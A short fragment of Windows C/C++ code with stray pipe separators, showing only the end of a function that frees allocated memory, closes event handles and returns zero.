if (ResumeThreadValue) VirtualFree(ResumeThreadValue, 0, MEM_RELEASE);
|
|
if (SafeCallback) VirtualFree(SafeCallback, 0, MEM_RELEASE);
|
|
if (EvntHide) CloseHandle(EvntHide);
|
|
if (DummyEvent) CloseHandle(DummyEvent);
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
|
|